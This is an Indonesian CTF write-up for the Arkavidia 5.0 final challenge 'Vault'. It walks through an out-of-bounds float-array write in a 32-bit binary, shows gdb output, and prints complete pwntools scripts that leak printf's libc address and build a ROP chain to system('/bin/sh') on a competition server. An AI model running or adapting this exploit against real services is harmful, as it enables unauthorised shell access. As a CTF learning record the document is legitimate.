Minggu, 10 Februari 2019

Write Up Final Arkavidia 5.0 - Vault

Diberikan binary dengan spesifikasi berikut

a@a-l ~/finalarkav $ checksec vault
[*] '/home/a/finalarkav/vault'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

a@a-l ~/finalarkav $ file vault
vault: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a3c97171acfc9100641c2822a01688a8b080039e, not stripped

Berikut adalah pseudocode dari fungsi chall pada binary tersebut

int chall()
{
  int result; // eax
  float v1[20]; // [esp+4h] [ebp-64h]
  int v2; // [esp+54h] [ebp-14h]
  int v3; // [esp+58h] [ebp-10h]
  int v4; // [esp+5Ch] [ebp-Ch]

  v4 = 3;
  while ( v4 > 0 )
  {
    print_menu();
    printf("Banyak perintah tersisa : %d\n", v4);
    printf("> ");
    __isoc99_scanf("%d", &v2);
    if ( v2 == 2 )
    {
      printf("Masukkan no kotak : ");
      __isoc99_scanf("%d", &v3);
      printf("Masukkan isi baru : ");
      result = __isoc99_scanf("%f", &v1[v3]);
      --v4;
    }
    else
    {
      if ( v2 == 3 )
        exit(0);
      if ( v2 == 1 )
      {
        printf("Masukkan no kotak : ");
        __isoc99_scanf("%d", &v3);
        result = printf("Kotak-%d : %f\n", v3, v1[v3]);
        --v4;
      }
      else
      {
        result = puts("Perintah tidak ditemukan.");
      }
    }
  }
  return result;
}

Binary tersebut dapat melakukan pengisian pada memori dengan mengisi nilai dengan tipe data float dan membaca isi memori dengan nilai float.

Terdapat vulnerable dimana index dari array tidak dibatasi sehingga kita bisa memasukkan index lebih dari 20 (panjang array float), sehingga kita bisa melakukan ROP dengan mengisi nilai EIP dan selanjutnya.

Namun yang menjadi masalah adalah tipe data disimpan dalam float. Sehingga kita harus melakukan konversi type data dari byte menjadi float. Setelah mencari ternyata structpack dapat melakukan fungsi tersebut.

def bitsToFloat(b):
    s = struct.pack('>L', b) # >L mengartikan Unsigned long to byte
    m = struct.unpack('>f', s)[0] #  Mengkonversi byte menjadi float
    return str(m)

Kita coba untuk mengisi array index ke 0 dengan 0x42424242

from pwn import *
from sys import *
# 
# overwrite 
# p = process('./vault')
p = connect("167.205.35.176", 31003 )
start = 25

cmd ="""
b *0x08048690
"""

if(len(argv) == 3):
    gdb.attach(p, cmd)

def ngisi(kotak, isi):
    p.sendline("2")
    p.sendline(str(kotak))
    p.sendline(bitsToFloat(isi))

def bitsToFloat(b):
    s = struct.pack('>L', b)
    m = struct.unpack('>f', s)[0]
    return str(m)

puts =  (0x080483C0) # puts
main = (0x08048692)
printf = (0x0804A00C)

ngisi(0, puts)
p.interactive()
[----------------------------------registers-----------------------------------]
EAX: 0xfff6b954 --> 0x0 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0x0 
ESI: 0xf7f3a000 --> 0x1b1db0 
EDI: 0xf7f3a000 --> 0x1b1db0 
EBP: 0xfff6b9b8 --> 0xfff6b9c8 --> 0x0 
ESP: 0xfff6b940 --> 0x80487e9 --> 0x50006625 ('%f')
EIP: 0x804865d (<chall+249>:    call   0x8048400 <__isoc99_scanf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048654 <chall+240>:   sub    esp,0x8
   0x8048657 <chall+243>:   push   eax
   0x8048658 <chall+244>:   push   0x80487e9
=> 0x804865d <chall+249>:   call   0x8048400 <__isoc99_scanf@plt>
   0x8048662 <chall+254>:   add    esp,0x10
   0x8048665 <chall+257>:   sub    DWORD PTR [ebp-0xc],0x1
   0x8048669 <chall+261>:   jmp    0x8048685 <chall+289>
   0x804866b <chall+263>:   sub    esp,0xc
Guessed arguments:
arg[0]: 0x80487e9 --> 0x50006625 ('%f')
arg[1]: 0xfff6b954 --> 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xfff6b940 --> 0x80487e9 --> 0x50006625 ('%f')
0004| 0xfff6b944 --> 0xfff6b954 --> 0x0 
0008| 0xfff6b948 --> 0xfff6b9b8 --> 0xfff6b9c8 --> 0x0 
0012| 0xfff6b94c --> 0x804857b (<chall+23>: sub    esp,0x8)
0016| 0xfff6b950 --> 0xf7f3ad60 --> 0xfbad2887 
0020| 0xfff6b954 --> 0x0 
0024| 0xfff6b958 --> 0x0 
0028| 0xfff6b95c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804865d in chall ()
gdb-peda$ ni

[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x0 
ECX: 0x1 
EDX: 0xf7f3b87c --> 0x0 
ESI: 0xf7f3a000 --> 0x1b1db0 
EDI: 0xf7f3a000 --> 0x1b1db0 
EBP: 0xfff6b9b8 --> 0xfff6b9c8 --> 0x0 
ESP: 0xfff6b940 --> 0x80487e9 --> 0x50006625 ('%f')
EIP: 0x8048662 (<chall+254>:    add    esp,0x10)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048657 <chall+243>:   push   eax
   0x8048658 <chall+244>:   push   0x80487e9
   0x804865d <chall+249>:   call   0x8048400 <__isoc99_scanf@plt>
=> 0x8048662 <chall+254>:   add    esp,0x10
   0x8048665 <chall+257>:   sub    DWORD PTR [ebp-0xc],0x1
   0x8048669 <chall+261>:   jmp    0x8048685 <chall+289>
   0x804866b <chall+263>:   sub    esp,0xc
   0x804866e <chall+266>:   push   0x0
[------------------------------------stack-------------------------------------]
0000| 0xfff6b940 --> 0x80487e9 --> 0x50006625 ('%f')
0004| 0xfff6b944 --> 0xfff6b954 ("BBBB")
0008| 0xfff6b948 --> 0xfff6b9b8 --> 0xfff6b9c8 --> 0x0 
0012| 0xfff6b94c --> 0x804857b (<chall+23>: sub    esp,0x8)
0016| 0xfff6b950 --> 0xf7f3ad60 --> 0xfbad2887 
0020| 0xfff6b954 ("BBBB")
0024| 0xfff6b958 --> 0x0 
0028| 0xfff6b95c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048662 in chall ()
gdb-peda$ x 0xfff6b954
0xfff6b954: 0x42424242

Ternyata berhasil.

Susun payload ROP. Lakukan leak pada fungsi printf. ROP untuk memangggil system(“/bin/sh”).

Berikut skrip yang kami gunakan.

from pwn import *
from sys import *
# 
# overwrite 
# p = process('./vault')
p = connect("167.205.35.176", 31003 )
start = 25

cmd ="""
b *0x08048690
"""

if(len(argv) == 3):
    gdb.attach(p, cmd)

def ngisi(kotak, isi):
    p.sendline("2")
    p.sendline(str(kotak))
    p.sendline(bitsToFloat(isi))

def bitsToFloat(b):
    s = struct.pack('>L', b)
    m = struct.unpack('>f', s)[0]
    return str(m)

puts =  (0x080483C0) # puts
main = (0x08048692)
printf = (0x0804A00C)

ngisi(26, puts)
ngisi(27, main)
ngisi(28, printf)
for i in range(0, 15):
    i, p.recvline()

p.recvuntil("Masukkan isi baru : ")
m = p.recv(4)
print len(m)
print hex(u32(m))
m = (u32(m))

offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6310
offset_read = 0x000d5b00
offset_write = 0x000d5b70
offset_str_bin_sh = 0x15ba0b
offset_printf = 0x00049670  

base = m - offset_printf
sys = base + offset_system
sh = base + offset_str_bin_sh

print hex(sys)
print hex(sh)
ngisi(26, sys)
ngisi(27, main)
ngisi(28, sh)

p.interactive()